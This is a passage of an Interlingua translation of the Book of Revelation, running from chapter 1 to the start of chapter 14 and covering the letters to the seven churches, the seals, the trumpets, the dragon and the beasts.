le gloria e le dominio in le seculos del seculos. Amen.\n1:7 Ecce, ille veni con le nubes; e omne oculo le videra; etiam le videra illes qui le transfigeva, e tote le tribos del terra lugera pro ille. Sic, Amen.\n1:8 Io es le Alpha e le Omega, dice le Senior Deo que es, que esseva e que venira, le Omnipotente.\n1:9 Io, Johannes, vostre fratre e participe con vos del tribulation, del regno e del constantia in Jesus, io stava in le insula appellate Patmos per causa del parola de Deo e del testimonio de Jesus.\n1:10 Io esseva rapite in spirito in le die del Senior, e io audiva detra de me un grande voce, como le sono de un trompa, que diceva:\n1:11 Lo que tu vide, scribe lo in un libro e invia lo al septe ecclesias: a Epheso, a Smyrna, a Pergamo, a Thyatira, a Sardis, a Philadelphia e a Laodicea.\n1:12 E io me volveva pro vider le voce que me parlava; e como io me volveva, io videva septe candelabros de auro;\n1:13 e in medio al candelabros uno simile a un filio de homine, vestite con un veste longe usque al pedes, e cingite con un cinctura de auro al altitude del pectore.\n1:14 E su capite e su capillos esseva blanc como candide lana, como nive; e su oculos esseva como un flamma de foco;\n1:15 e su pedes esseva simile a fin laton, raffinate in un fornace; e su voce esseva como le rumor de multe aquas.\n1:16 E ille teneva in su mano dextre septe stellas; e de su bucca exiva un spada de duple lamina, acutiate, e su visage esseva como le sol in su maxime splendor.\n1:17 E post haber le vidite io cadeva a su pedes como morto; e ille poneva su mano dextre supra me, e diceva: Non timer;\n1:18 io es le prime e le ultime, e le vivente qui esseva morto, ma ecce, io vive per le seculos del seculos, e io ha le claves del morte e del inferno.\n1:19 Scribe dunque le cosas que tu videva, illos que es e illos que debe ancora evenir,\n1:20 le mysterio del septe stellas que tu ha vidite in mi dextra, e del septe candelabros de auro. Le septe stellas es le angelos del septe ecclesias, e le septe candelabros es le septe ecclesias.\n2:1 al angelo del ecclesia de Epheso scribe: Isto dice Ille qui ha le septe stellas in su dextra, e que cammina in medio a septe candelabros de auro:\n2:2 Io cognosce tu operas e tu fatiga e tu constantia e que tu non supporta le iniques e tu ha mittite al proba illes qui se defini apostolos e non lo es, e tu les ha trovate mendace;\n2:3 e tu es patiente e tu ha supportate multe cosas per amor de mi nomine, e tu non te rendeva.\n2:4 Sed io ha isto contra te: tu abandonava tu prime amor.\n2:5 Recorda dunque de ubi tu ha cadite, e repente te, e face le operas de antea; alteremente, io venira a te, e io removera tu candelabro de su loco, si tu non te repente.\n2:6 Sed tu ha isto in pro: tu odia le operas del Nicolaitas, qui io etiam odia.\n2:7 Qui ha aures que audi lo que le Spirito dice al ecclesias. A qui vince io dara a mangiar del arbore del vita, que sta in le paradiso de Deo.\n2:8 E al angelo del ecclesia de Smyrna scribe: Iste cosas lo dice le Prime e le Ultime, qui moriva e tornava in vita:\n2:9 Io cognosce tu tribulation e tu povressa (sed tu es ric) e le blasphemias de illes que dice esser Judeos e non lo es, in vice illes es un synagoga de Satan.\n2:10 Non timer lo que tu debera suffrer; ecce, le diabolo sta pro mandar alicun de vos in prision, a fin que vos sia probate; e vos habera un tribulation de dece dies. Sia fidel usque al morte, e io te dara le corona del vita.\n2:11 Qui ha aures que audi lo que le Spirito dice al ecclesias. Qui vince non suffrera le secunde morte.\n2:12 E al angelo del ecclesia de Pergamo scribe: Iste cosas dice ille qui ha le spada a duple lamina acute:\n2:13 Io cognosce ubi tu habita, que es ubi sta le throno de Satan; sed tu retene firmemente mi nomine, e tu non renegava mi fide, ni anque in le dies in los qual Antipas, mi fidel teste, esseva occidite inter vos, ubi habita Satan.\n2:14 Ma io ha qualcosa contra te: que tu ibi ha qui professa le doctrina de Balaam, qui inseniava a Balac a mitter obstaculos ante le filios de Israel, inducente les a mangiar del cosas sacrificate al idolos e a committer fornication.\n2:15 Tu etiam ha alicunos qui professa le doctrina del Nicolaitas.\n2:16 Repente te dunque; alteremente, io venira tosto a te, e io combattera contra illes con le spada de mi bucca.\n2:17 Qui ha aures que audi lo que le Spirito dice al ecclesias. A qui vince io dara del manna occultate, e le dara etiam un petra blanc, e super le petra scribite un nomine nove que nemo cognosce, excepte ille qui lo recipe.\n2:18 E al angelo del ecclesia de Thyatira scribe: Iste cosas dice le Filio de Deo, qui ha le oculos como flamma de foco, e cuje pedes es como laton fin:\n2:19 Io cognosce tu operas e tu amor e tu fide e tu ministerio e tu constantia, e que tu ultime operas es plus abundante del primos.\n2:20 Sed io ha isto contra te: que tu tolera le femina Jezabel, qui se dice prophetessa e insenia e seduce mi servos a committer fornication e mangiar cosas sacrificate al idolos.\n2:21 E io le ha date tempore pro repentir se, e illa non vole corriger se de su fornication.\n2:22 Ecce, io lanceara super illa un lecto de dolor, e un grande tribulation a illes qui committera adulterio con illa, si illes non se repentira del operas de illa.\n2:23 E io mittera a morte su filios; e tote le ecclesias cognoscera que io es Ille qui scruta le renes e le cordes; e io dara a cata un de vos secundo vostre operas.\n2:24 Ma al alteres de vos in Thyatira que non professa iste doctrina e non ha cognoscite le profunditate de Satan, io vos dice que io non vos imponera altere carga.\n2:25 Solmente, lo que vos ha tene lo firmemente usque io veni.\n2:26 E a qui vince e persevera in mi operas usque al fin io dara poter super le nationes,\n2:27 pro reger los con un virga de ferro e rumper los como vasos de argilla; como etiam io recipeva potestate ex mi Patre.\n2:28 E io le dara le stella del matino.\n2:29 Qui ha aures que audi lo que le Spirito dice al ecclesias.\n3:1 E al angelo del ecclesia de Sardis scribe: Iste cosas dice Ille qui ha le septe Spiritos de Deo e le septe stellas: Io cognosce tu operas: tu ha nomine de vivente sed tu es morto.\n3:2 Sia vigilante e confirma le resto que sta pro morir; pois que io non ha trovate tu operas perfecte ante mi Deo.\n3:3 Recorda te dunque de quanto tu ha recipite e audite; e conserva lo, e repente te. Perque si tu non velia, io veni como un robator, e tu non sapera a qual hora io venira a te.\n3:4 Sed tu ha alicunos in Sardis qui non ha contaminate lor vestes; illes camminara con me in vestes blanc, perque illes es digne.\n3:5 Qui vince essera assi vestite de vestes blanc, e io non cancellara su nomine ex le libro del vita, e io confessara su nomine ante mi Patre e ante su angelos.\n3:6 Qui ha aures que audi lo que le Spirito dice al ecclesias.\n3:7 E al angelo del ecclesia de Philadelphia scribe: Iste cosas dice le Sancto, le Verace, Ille qui ha le clave de David, Ille qui aperi e nemo claude, Ille qui claude e nemo aperi:\n3:8 Io cognosce tu operas. Ecce, io ha collocate ante te un porta aperite, que nemo pote clauder, perque, anque si tu ha pauc fortia, tu conservava mi parola, e tu non ha renegate mi nomine.\n3:9 Ecce, lo que io facera a illes del synagoga de Satan, le quales dice de esser Judeos e non lo es, ma illes mente; ecce, io les facera venir a prostrar se ante tu pedes, e illes cognoscera que io te ama.\n3:10 Perque tu ha conservate mi parola patientemente, io etiam te guardara del hora del tentation que debe venir sur tote le mundo, pro mitter al prova qui habita sur le terra.\n3:11 Io veni tosto; remane firme in lo que tu ha, a fin que nemo te leva tu corona.\n3:12 Qui vince io facera de ille un columna in le templo de mi Deo, e ille non exira jammais; e io scribera supra ille le nomine de mi Deo e le nomine del citate de mi Deo, le Nove Jerusalem que descende ab le celo del presentia de mi Deo, e etiam mi nove nomine.\n3:13 Qui ha aures que audi lo que le Spirito dice al ecclesias.\n3:14 E al angelo del ecclesia de Laodicea scribe: Iste cosas dice le Amen, le Teste fidel e verace, le principio del creation de Deo:\n3:15 Io cognosce tu operas: tu non es ni frigide ni calide. Oh si tu esseva frigide o calide!\n3:16 Sed perque tu es tepide, e non es ni frigide ni calide, io te vomitara ex mi bucca.\n3:17 Pois que tu dice: Io es ric, e pois que io me inricchiva, io non ha necessitate de nil, sed tu non sape de esser un infelice, e un miserabile e povre e cec e nude,\n3:18 io te consilia de comprar ex me auro raffinate con foco, a fin que tu deveni ric; e vestes blanc, pro vestir te a fin que non appare le vergonia de tu nuditate; e collyrio pro unguer tu oculos, pro vider.\n3:19 Tote illes qui io ama, io les reprehende e les castiga; sia tu dunque zelose e repente te.\n3:20 Ecce, io es al porta e batte: si uno audi mi voce e aperi le porta, io entrara in su casa e con ille io cenara e ille con me.\n3:21 A qui vince io le concedera de seder con me in mi throno, como etiam io ha vincite e mi sedeva con mi Patre in su throno\n3:22 Qui ha aures que audi lo que le Spirito dice al ecclesias.\n4:1 Post iste cosas io reguardava, e ecce una porta aperite in le celo, e le prime voce que io habeva audite parlante con me con sono de trompa, me diceva: Ascende hic, e io te monstrara le cosas que debe advenir de nunc in avante.\n4:2 E subito io esseva rapite in spirito; e ecce un throno in celo, e supra le throno il habeva uno sedite.\n4:3 E Ille qui stava sedite habeva le aspecto simile a una petra de jaspe e de sardio; e circum al throno il habeva un iris que, a vider lo, semblava un smaragdo.\n4:4 E circum al throno habeva vinti-quatro thronos; e supra le thronos sedeva vinti-quatro ancianos, vestite de blanc vestes, qui habeva supra lor capite coronas de auro.\n4:5 E del throno procedeva fulgores e voces e tonitros; e ante le throno il habeva septe lampadas ardente, que es le septe Spiritos de Deo;\n4:6 e ante al throno il habeva como un mar de vitro, simile al crystallo; e in medio al throno e circum al throno, quatro creaturas vivente, plen de oculos ante e retro.\n4:7 E le prime creatura vivente esseva simile a un leon, e le secunde simile a un vitello, e le tertie habeva le facie como un homine, e le quarta esseva simile a un aquila a volar.\n4:8 E le quatro creaturas vivente habeva cata un sex alas, e illos esseva plen de oculos circum e intro, e illos non reposava jammais, die e nocte, dicente: Sancte, sancte, sancte es le Senior Deo, le Omnipotente, que esseva, que es, e que venira.\n4:9 E omne vice que le creaturas vivente da gloria e honor e gratia a Ille qui sede sur throno, a Ille qui vive in le seculos del seculos,\n4:10 le vinti-quatro ancianos se prostra ante Ille qui sede sur throno e adora Ille qui vive in le seculos del seculos e illes lancea lor coronas ante al throno, dicente:\n4:11 Digne es, oh Senior e Deo nostre, de reciper le gloria e le honor e le potentia: perque tu creava tote le cosas, e per tu voluntate illos existeva e esseva create.\n5:1 E io videva in le dextra de Ille qui sedeva sur throno, un libro scribite intro e foras, sigillate con septe sigillos.\n5:2 E io videva un angelo potente que clamava con grande voce: Qui es digne de aperir le libro e de rumper le sigillos?\n5:3 E nemo, ni in celo, ni in terra, ni sub le terra, poteva aperir le libro, o reguardar lo.\n5:4 E io plorava forte perque non habeva nemo digne de aperir le libro, o de reguardar lo.\n5:5 E un del ancianos me diceva: Non plorar; ecce, le Leon del tribo de Juda, le descendente de David, ha vincite pro aperir le libro e su septe sigillos.\n5:6 Postea io videva, in medio al throno e al quatro creaturas vivente e in medio al ancianos, un Agno in pede, que pareva haber essite immolate, e habeva septe cornos e septe oculos que es le septe Spiritos de Deo, inviate sur tote le terra.\n5:7 E ille veniva e prendeva le libro ex le dextra de Ille qui sedeva sur throno.\n5:8 E post haber prendite le libro, le quatro creaturas vivente e le vinti-quatro ancianos se prostrava ante al Agno, habente cata un de illes un cithera e cuppas de auro plen de perfumos, que es le orationes del sanctos.\n5:9 E illes cantava un nove cantico, dicente: Tu es digne de prender le libro e de aperir le sigillos, perque tu ha essite immolate e tu ha comprate pro Deo, con tu sanguine, gente de omne tribo e lingua e populo e nation,\n5:10 e tu ha facite pro nostre Deo un regno de sacerdotes qui regnara super le terra.\n5:11 E io videva, e audiva voces de multe angelos circum al throno e al creaturas vivente e al ancianos; e lor numero esseva de myriades de myriades, e de milles de milles,\n5:12 qui diceva con grande voce: Digne es le Agno que ha essite immolate de reciper le potentia e le ricchessas e le sapientia e le fortia e le honor e le gloria e le benediction.\n5:13 E tote le creaturas que es in celo e sur le terra e sub le terra e sur mar e tote le cosas que es in illos, io les audiva que diceva: A Ille qui sede sur throno e al Agno sia le benediction e le honor e le gloria e le dominio, in le seculos del seculos.\n5:14 E le quatro creaturas vivente diceva: Amen! E le ancianos se prostrava e adorava.\n6:1 Postea io videva quando le Agno aperiva un del septe sigillos; e io audiva le prime del quatro creaturas vivente, que diceva con voce de tonitro: Veni.\n6:2 E io videva, e ecce un cavallo blanc; e qui lo cavalcava habeva un arco; e le esseva date un corona, e ille exiva victoriose, pro vincer.\n6:3 E quando ille aperiva le secunde sigillo, io audiva le secunde creatura vivente que diceva: Veni.\n6:4 E exiva un altere cavallo, rubie; e a qui lo cavalcava esseva date le poter de levar le pace ex le terra a fin que le homines se occideva le unes al alteres, e le esseva date un grande spada.\n6:5 E quando ille aperiva le tertie sigillo, io audiva le tertie creatura vivente que diceva: Veni. E io videva, e ecce un cavallo nigre; e qui lo cavalcava habeva un balancia in mano.\n6:6 E io audiva un voce in medio al quatro creaturas vivente que diceva: Un mensura de frumento per un denario e tres mensuras de hordeo per un denario; e non damnificar ni le oleo ni le vino.\n6:7 E quando ille habeva aperite le quarte sigillo, io audiva le voce del quarte creatura vivente que diceva: Veni.\n6:8 E io videva, e ecce un cavallo jalne; e qui lo cavalcava habeva per nomine Morte; e le sequeva le inferno. E le esseva date potestate super le quarte parte del terra pro occider con le spada, con le fame, con le mortalitate e con le bestias del terra.\n6:9 E quando ille aperiva le quinte sigillo, io videva sub le altar le animas de illes qui habeva essite occidite per le parola de Deo e per le testimonio que illes habeva date;\n6:10 e illes critava con grande voce, dicente: Usque quando, oh nostre Senior qui es sancte e verace, non face tu justitia e non vindica nostre sanguine super illes qui habita supra le terra?\n6:11 E a cata un de illes esseva date un veste blanc e les esseva dicite de reposar se ancora un pauc de tempore, usque esseva completate le numero de lor conservos e de lor fratres, qui debeva esser occidite como illes.\n6:12 Postea io videva quando se aperiva le sexte sigillo: e habeva un grande seismo; e le sol deveniva nigre como un sacco de cilicio, e le luna deveniva como sanguine;\n6:13 e le stellas del celo cadeva super le terra como quando un fichiero succutite per un grande vento lassa cader su ficos immatur.\n6:14 E le celo se retirava como un pergamena que se rotula; e omne montania e omne insula esseva removite de su loco.\n6:15 E le reges del terra e le grandes e le capitanos e le riccos e le potentes e omne homine servo e omne homine libere se occultava in le cavernas e in le roccas del montanias;\n6:16 e illes diceva al montes e al roccas: Cade supra nos, e occulta nos del presentia de Ille que sede sur throno e del ira del Agno;\n6:17 perque le grande die de su ira ha venite, e qui pote restar firme?\n7:1 Post isto, io videva quatro angelos in pede al quatro angulos del terra, retenente le quatro ventos del terra a fin que non sufflava alicun vento sur le terra, ni sur mar, ni sur alicun arbore.\n7:2 E io videva un altere angelo que ascendeva ex le sol levante, le qual habeva le sigillo del Deo vivente; e ille critava con grande voce al quatro angelos al quales esseva date le poter pro damnificar le terra e le mar, dicente:\n7:3 Non damnificar le terra, ni le mar, ni le arbores, usque nos es signalate in fronte le servos de nostre Deo.\n7:4 E io audiva le numero de illes signalates: cento quaranta-quatro mille signalate de tote le tribos del filios de Israel:\n7:5 Del tribo de Juda dece-duo mille signalate, del tribo de Ruben dece-duo mille, del tribo de Gad dece-duo mille,\n7:6 del tribo de Aser dece-duo mille, del tribo de Nephthali dece-duo mille, del tribo de Manasse dece-duo mille,\n7:7 del tribo de Simeon dece-duo mille, del tribo de Levi dece-duo mille, del tribo de Issachar dece-duo mille,\n7:8 del tribo de Zabulon dece-duo mille, del tribo de Joseph dece-duo mille, del tribo de Benjamin dece-duo mille signate.\n7:9 Depost iste cosas io reguardava, e ecce un grande turba que necun homine poteva numerar, de tote le nationes e tribos e populos e linguas, que stava in pede ante le throno e ante le Agno, vestite de vestes blanc e con palmas in mano.\n7:10 E illes critava con grande voce dicente: Le salvation pertine a nostre Deo le qual sede sur throno, e al Agno.\n7:11 E tote le angelos stava in pede circum le throno e al ancianos e al quatro creaturas vivente; e illes se prostrava sur lor facie ante le throno, e illes adorava Deo dicente:\n7:12 Amen! al Deo nostre le benediction e le gloria e le sapientia e le actiones de gratias e le honor e le potentia e le fortia, in le seculos del seculos! Amen.\n7:13 E un del ancianos me parlava, dicente: Istes vestite de vestes blanc qui es, e de ubi ha illes venite?\n7:14 Io le respondeva; Senior mie, tu lo sape. E ille mi diceva: Illes es les qui veni ab le grande tribulation, e ha lavate lor vestes, e los ha blanchite in le sanguine del Agno.\n7:15 Ergo illes es ante al throno de Deo, e le serve die e nocte in su templo: e Ille qui sede sur throno extendera super illes su tabernaculo.\n7:16 E illes non habera plus fame e non habera plus sete, non les colpara plus le sol ni alicun calor;\n7:17 perque le Agno que es in medio al throno les pasturara e les guidara al fontes de aquas vive; e Deo essugara omne lacrima de lor oculos.\n8:1 E quando le Agno aperiva le septimo sigillo, habeva silentio in le celo per circa le spatio de media hora.\n8:2 E io videva le septe angelos in pede ante Deo, e les esseva date septe trompettas.\n8:3 E un altere angelo veniva e stava apud le altar, habente un incensario de auro; e le esseva date multe perfumos a fin que los univa al orationes de tote le sanctos supra le altar de auro que stava ante al throno.\n8:4 E le fumo del perfumos, se univa al orationes del sanctos, e ascendeva ex le mano del angelo al presentia de Deo.\n8:5 Postea le angelo prendeva le incensario e lo plenava con foco del altar e lo jectava sur le terra; e habeva clamores, tonitros, fulmines e seismos.\n8:6 E le septe angelos que habeva le septe trompettas se preparava a sonar.\n8:7 E le prime sonava, e habeva grandine e foco, mixturate con sanguine, que esseva jectate supra le terra; e le tertie parte del terra esseva ardite, e le tertie parte del arbores esseva ardite, e omne herba verde esseva ardite.\n8:8 Postea sonava le secunde angelo, e un massa simile a un grande montania ardente esseva jectate in le mar; e le tertie parte del mar deveniva sanguine,\n8:9 e le tertie parte del creaturas vivente que esseva in le mar moriva, e le tertie parte del naves periva.\n8:10 Postea sonava le tertie angelo, e cadeva del celo un grande stella, ardente como un torcha; e cadeva suera le tertie parte del fluvios e supra le fontes del aquas.\n8:11 Le nomine del stella es Absinthio; e le tertie parte del aquas deveniva amar; e multe homines moriva per causa de celle aquas, perque illos deveniva amar.\n8:12 Postea sonava le quarte angelo, e le tertie parte del sol esseva colpate e le tertie parte del luna e le tertie parte del stellas e lor tertie parte se obscurava e tertie parte del die non resplendeva e similemente le nocte.\n8:13 E io reguardava e audiva un angelo que volava in medio al celo e diceva con grande voce: Guai, guai, guai a qui habita supra le terra, per causa del altere sonos de trompetta del tres angelos que debe ancora sonar!\n9:1 Postea sonava le quinte angelo, e io videva un stella cader del celo supra le terra; e a ille esseva date le clave del puteo del abysso.\n9:2 E ille aperiva le puteo del abysso; e ex le puteo ascendeva un fumo simile al fumo de un grande fornace; e le sol e le aere esseva obscurate per le fumo del puteo.\n9:3 E ex le fumo exiva locustas que vadeva sur le terra; e les esseva date un poter simile al poter que ha le scorpiones in le terra.\n9:4 E les esseva commandate de non damnificar le herba del terra, ni alicun vegetation, ni arbore alicun, ma solmente le homines qui non habeva le sigillo de Deo in fronte.\n9:5 E les esseva commandate de non occider, ma de tormentar les per cinque menses; e le tormento que illos causava esseva simile al punctura de scorpion.\n9:6 E in celle dies le homines cercara le morte e non lo trovara, e illes desiderara morir, e le morte fugira da illes.\n9:7 E le locustas esseva simile a cavallos preparate pro le guerra; e supra lor testas illos habeva coronas simile a auro e lor facies esseva como facies de homines.\n9:8 E lor capillos esseva como capillos de femina, e lor dentes esseva como dentes de leon.\n9:9 E illos esseva cuirassate con cuirasses de ferro; e le ruito de lor alas esseva como le rumor de carros, trainate per multe cavallos que curreva al battalia.\n9:10 E illos habeva caudas como los del scorpion, e aculeos in lor caudas; e illos habeva le poter in lor caudas pro nocer le homines per cinque menses.\n9:11 E illos habeva como lor rege le angelo del abysso, cuje nomine in hebreo es Abaddon, e in greco Apollyon.\n9:12 Le prime guai ha passate: sed veni ancora altere duo guais post iste cosas.\n9:13 Postea le sexte angelo sonava, e io audiva un voce ex le quatro cornos del altar de auro que stava ante Deo,\n9:14 que diceva al sexte angelo que habeva le trompetta: Disnoda le quatro angelos que es ligate apud le grande fluvio Euphrate.\n9:15 E esseva disnodate le quatro angelos que habeva essite preparate pro celle hora, pro celle die e mense e anno, pro occider le tertie parte del homines.\n9:16 E le numero del armeas de cavalleria esseva de duo centos milliones; e io audiva lor numero.\n9:17 E io videva in le vision le cavallos e illes qui los cavalcava: illes habeva cuirasses de foco, de hyacintho e de sulfure; e le testas del cavallos esseva como capite de leones; e ex lor buccas exiva foco e fumo e sulfure.\n9:18 Con iste tres plagas: foco, fumo e sulfure que exiva ex lor buccas esseva occidite le tertie parte del homines.\n9:19 Perque le poter del cavallos esseva in lor bucca e in lor caudas; pois que lor caudas esseva simile a serpentes con testas, e illos noceva.\n9:20 E le resto del homines qui non esseva occidite per iste plagas, non se repentiva del operas de lor manos, pro non adorar plus le demonios e idolos de auro e de argento e de bronzo e de petra e de ligno, le quales non pote ni vider, ni audir, ni camminar;\n9:21 e illes non se repentiva de lor homicidios, ni de lor incantamentos, ni de lor fornication, ni de lor furtos.\n10:1 Postea io videva un altere angelo potente que descendeva ab le celo, involvite in un nube; supra su capite ille habeva le iris; su facie esseva como le sol, e su pedes como columnas de foco;\n10:2 e ille habeva in mano un libretto aperite; e ille posava su pede dextre supra le mar e le sinistro supra le terra;\n10:3 e ille critava con grande voce, como le rugito del leon; e post haber critate, le septe tonitros faceva audir lor voces.\n10:4 E post que le septe tonitros faceva audir lor voces, io stava pro scriber; ma io audiva un voce ab le celo que me diceva: Sigilla le cosas que le septe tonitros ha pronunciate, e non los scriber.\n10:5 E le angelo que io habeva vidite in pede supra le mar e supra le terra,\n10:6 altiava le mano dextre al celo e jurava per Ille qui vive in le seculos del seculos, le qual ha create le celo e le cosas que es in illos e le terra e le cosas que es in illo e le mar e le cosas que es in illo, que non habera plus retardo;\n10:7 sed que in le dies del voce del septime angelo, quando ille sonara, se complira le mysterio de Deo, secundo lo que Ille ha annunciate a su servos, le prophetas.\n10:8 E le voce que io habeva audite ab le celo me parlava de nove e diceva: Vade, prende le libro que es aperite in mano al angelo que sta in pede supra le mar e supra le terra.\n10:9 E io vadeva al angelo, e io le diceva de dar me le libretto. E ille me diceva: Prende lo, e devora lo: illo essera amar in tue ventre, ma in tu bucca te essera dulce como melle.\n10:10 Io prendeva le libretto del mano del angelo, e lo devorava; e illo esseva dulce in mi bucca, como melle; ma post haber lo devorate, mi ventre sentiva le amaritude.\n10:11 E ille me diceva: Tu debe prophetisar de nove a multe populos e nationes e linguas e reges.\n11:1 Postea me esseva date un canna simile a un virga; e on me diceva: Altia te e mensura le templo de Deo e le altar e conta illes qui ibi adora;\n11:2 sed omitte le atrio que es foras ex le templo, e non lo mensurar, perque illo ha essite date al Gentiles, e illes calcara le Sancte Citate per quaranta-duo menses.\n11:3 E io dara le poter de prophetisar a mi duo testes, e illes prophetisara per mille duo centos sexanta dies, vestite de saccos.\n11:4 Istes es le duo olivos e le duo candelabros que sta al presentia del Senior del terra.\n11:5 E si alicuno les vole nocer, exira ex lor bucca un foco que devora lor inimicos; e si alicuno les vole nocer ille essera necessarimente occidite in iste maniera.\n11:6 Illes ha le poter de clauder le celo a fin que non cade pluvia durante le dies de lor prophetia; e illes ha potestate super le aquas pro converter los in sanguine, potestate de percuter le terra con qualcunque plaga, quante vices illes volera.\n11:7 E quando illes habera complite lor testimonio, le bestia que ascende ab le abysso les facera guerra e les vincera e les occidera.\n11:8 E lor corpore morte jacera sur le placia del grande citate, que spiritualmente se appella Sodoma e Egypto, ubi etiam lor Senior esseva crucifigite.\n11:9 E le homines del varie populos e tribos e linguas e nationes videra lor corpores morte per tres dies e medio, e illes non lassara que lor corpores morte sia sepelite.\n11:10 E le habitantes del terra gaudera e illes se allegrara e mandara donos le unes al alteres, perque iste duo prophetas habeva tormentate le habitantes del terra.\n11:11 E depost tres dies e medio un spirito de vita procedente ex Deo entrava in illes, e illes se altiava in pede e grande timor cadeva supra qui les videva.\n11:12 E illes audiva un grande voce ab le celo que diceva: Ascende ibi. E illes ascendeva al celo in le nube, e lor inimicos les videva.\n11:13 E in celle hora habeva un grande seismo, e le decime parte del citate cadeva, e septe mille personas esseva occidite in le seismo; e le restante esseva espaventate e dava gloria al Deo del celo.\n11:14 Le secundo guai ha passate; e ecce, le tertie guai venira tosto.\n11:15 E le septime angelo sonava le trompetta, e se audiva grande voces in celo, que diceva: Le regno del mundo ha devenite de nostre Senior e de su Christo; e ille regnara in le seculos del seculos.\n11:16 E le vinti-quatro ancianos qui stava sedite al presentia de Deo in lor thronos se prostrava super lor facies e adorava Deo, dicente:\n11:17 Nos te regratia, oh Senior Deo omnipotente que es e que esseva, perque tu reprendeva in mano tu grande poter, e le regno.\n11:18 Le nationes se habeva incholerisate, ma tu cholera ha arrivate, e nunc es le tempore pro judicar le mortos, pro dar le premio a tu servos, le prophetas, e al sanctos e a illes qui time tu nomine, parves e grandes, e de destruer qui destrue le terra.\n11:19 E le templo de Deo que sta in celo se aperiva, e se videva in su templo le arca de su pacto, e habeva fulmines e voces e tonitros e un seismo e un multe grandine.\n12:1 Postea appareva un grande signo in celo: un femina revestite del sol con le luna sub le pedes, e sur le capite un corona de dece-duo stellas.\n12:2 Illa esseva gravide, e plorava per le dolores tormentose del parto.\n12:3 E appareva un altere signo in celo; e ecce un grande dracon rubie que habeva septe testas e dece cornos e sur le testas septe diademas.\n12:4 E su cauda trainava le tertie parte del stellas del celo e los lanceava supra le terra. E le dracon se arrestava ante le femina qui stava pro parturir, pro devorar le su filio, post que illa le haberea parturite.\n12:5 E illa parturiva un filio masculo, qui debe reger tote le nationes con virga de ferro; e le filio del femina esseva rapite juxta Deo e su throno.\n12:6 E le femina fugiva in le deserto, ubi illa ha un loco preparate per Deo, a fin que illa sia nutrite per mille duo centos sexanta dies.\n12:7 E habeva un battalia in celo: Michael e su angelos combatteva contra le dracon, e le dracon e su angelos combatteva,\n12:8 ma illes non vinceva, e lor loco non esseva plus trovate in celo.\n12:9 E le grande dracon, le serpente antique, que es appellate Diabolo e Satan, le seductor de tote le mundo, esseva jectate in basso; ille esseva jectate supra le terra, e con ille esseva jectate su angelos.\n12:10 E io audiva un grande voce in celo que diceva: Nunc ha venite le salvation e le potentia e le regno de nostre Deo, e le potestate de su Christo, perque il ha essite jectate a basso le accusator del nostre fratres, qui les accusava ante nostre Deo, die e nocte.\n12:11 Ma illes le ha vincite a causa del sanguine del Agno e a causa del parola de lor testimonio; e illes non ha amate lor vita, in vice illes lo ha exponite al morte.\n12:12 Ergo, allegra vos, oh celos, e vos que habita in illos. Guai a vos, oh terra, oh mar! Perque le diabolo ha descendite a vos con grande furor, sapente de non haber plus que un breve tempore.\n12:13 E post que le dracon esseva lanceate supra le terra, ille persequeva le femina qui habeva parturite le filio masculo.\n12:14 Sed al femina esseva date duo alas de un grande aquila a fin que illa volava in le deserto, in su loco, ubi illa es nutrite per un tempore, e tempores e le medietate de un tempore, lontan del presentia del serpente.\n12:15 E le serpente jectava ex su bucca del aqua como un fluvio detra le femina, pro facer la portar via per le currente.\n12:16 Sed le terra succurreva le femina; e le terra aperiva su bucca e inglutiva le fluvio que le dracon habeva jectate foras de su bucca.\n12:17 E le dracon se incholerisava contra le femina e vadeva a facer guerra contra le resto de su progenie, qui conserva le commandamentos de Deo e retene le testimonio de Jesus.\n13:1 E io stava sur le ripa del mar. E io videva ascender ex le mar un bestia que habeva dece cornos e septe testas, e sur le cornos dece diademas, e sur le testas nomines de blasphemias.\n13:2 E le bestia que io videva esseva simile a un leopardo, e su pedes esseva como los de un urso, e su bucca como le bucca de leon; e le dracon le dava su ipse poter e su ipse throno e grande potestate.\n13:3 E io videva in un de su testas un vulnere mortal; e su plaga mortal esseva sanate; e tote le terra admirava e sequeva le bestia;\n13:4 e illes adorava le dracon perque ille habeva date le poter al bestia; e illes adorava le bestia dicente: Qui es simile al bestia? e qui pote pugnar contra ille?\n13:5 E esseva date al [dracon] un bucca que proclamava parolas arrogante e blaspheme e le esseva date potestate de ager per quaranta-duo menses.\n13:6 E ille aperiva su bucca in blasphemias contra Deo, pro blasphemar su nomine e su tabernaculo e illes qui habita in celo.\n13:7 E le esseva date poter pro facer guerra contra le sanctos e de vincer les; e le esseva date potestate supra omne tribo e populo e lingua e nation.\n13:8 E le adorara tote le habitantes del terra cuje nomines non es scripte in le libro del vita del Agno qui esseva immolate, desde le principio del mundo.\n13:9 Qui ha aures, que audi.\n13:10 Si uno porta in captivitate ille vadera etiam in captivitate; si uno occide con le spada, ille etiam essera occidite con le spada. Hic sta le patientia e le fide del sanctos.\n13:11 Postea io videva un altere bestia, que ascendeva del terra, e habeva duo cornos como los de un agno, ma ille parlava como un dracon.\n13:12 E ille exerceva tote le potestate del prime bestia, e al presentia sue faceva in modo que le terra e su habitantes adorava le prime bestia cuje plaga mortal habeva essite curate.\n13:13 E ille operava grande signales, etiam faceva descender foco ab le celo super le terra in presentia del homines.\n13:14 E ille seduceva le habitantes del terra con le signales que le esseva date de facer in presentia del bestia, dicente al habitantes del terra de crear un imagine del bestia qui habeva essite vulnerate per le spada e viveva.\n13:15 E le esseva concedite de dar spirito al imagine del bestia, a fin que le imagine del bestia parlava e faceva occider tote illes qui non adorava le imagine del bestia.\n13:16 E ille faceva in modo que a totos, parves e grandes, riccos e povres, liberes e servos, recipeva un marca sur le mano dextre o sur le fronte;\n13:17 e nemo poteva comprar o vender si non habeva le marca, le nomine del bestia o le numero de su nomine.\n13:18 Hic sta le sapientia. Qui ha intellecto que computa le numero del bestia, pois que illo es le numero de un homine; e le numero es sex centos sexanta-sex.\n14:1 Postea io reguardava, e ecce le Agno que stava in pede supra le monte Sion, e con ille cento quaranta-quatro mille qui habeva su nomine e le nomine de su Patre scribite sur lor frontes.\n14:2 E io audiva un voce ab le celo como le ruito de multe aquas e como le rumor de un grande tonitro; e le voce que io audiva esseva como le sono de citheristas qui sona lor citheras.\n14:3 E illes cantava un cantico nove ante al throno e ante al quatro creaturas vivente e al ancianos; e nemo poteva apprender le cantico excepte le cento quaranta-quatro mille, le quales esseva comprate ab le terra.\n14:4 Es illes qui non se ha contaminate con feminas, pois que illes es virgine. E illes seque le Agno ubicunque Ille vade. Illes esseva comprate de inter le homines como primitias pro Deo e le Agno.\n14:5 E in lor bucca non esseva trovate mendacio: illes es irreprehensibile.\n14:6 Postea io videva un altere angelo que volava in medio al celo, habente le evangelo eternal pro annunciar lo 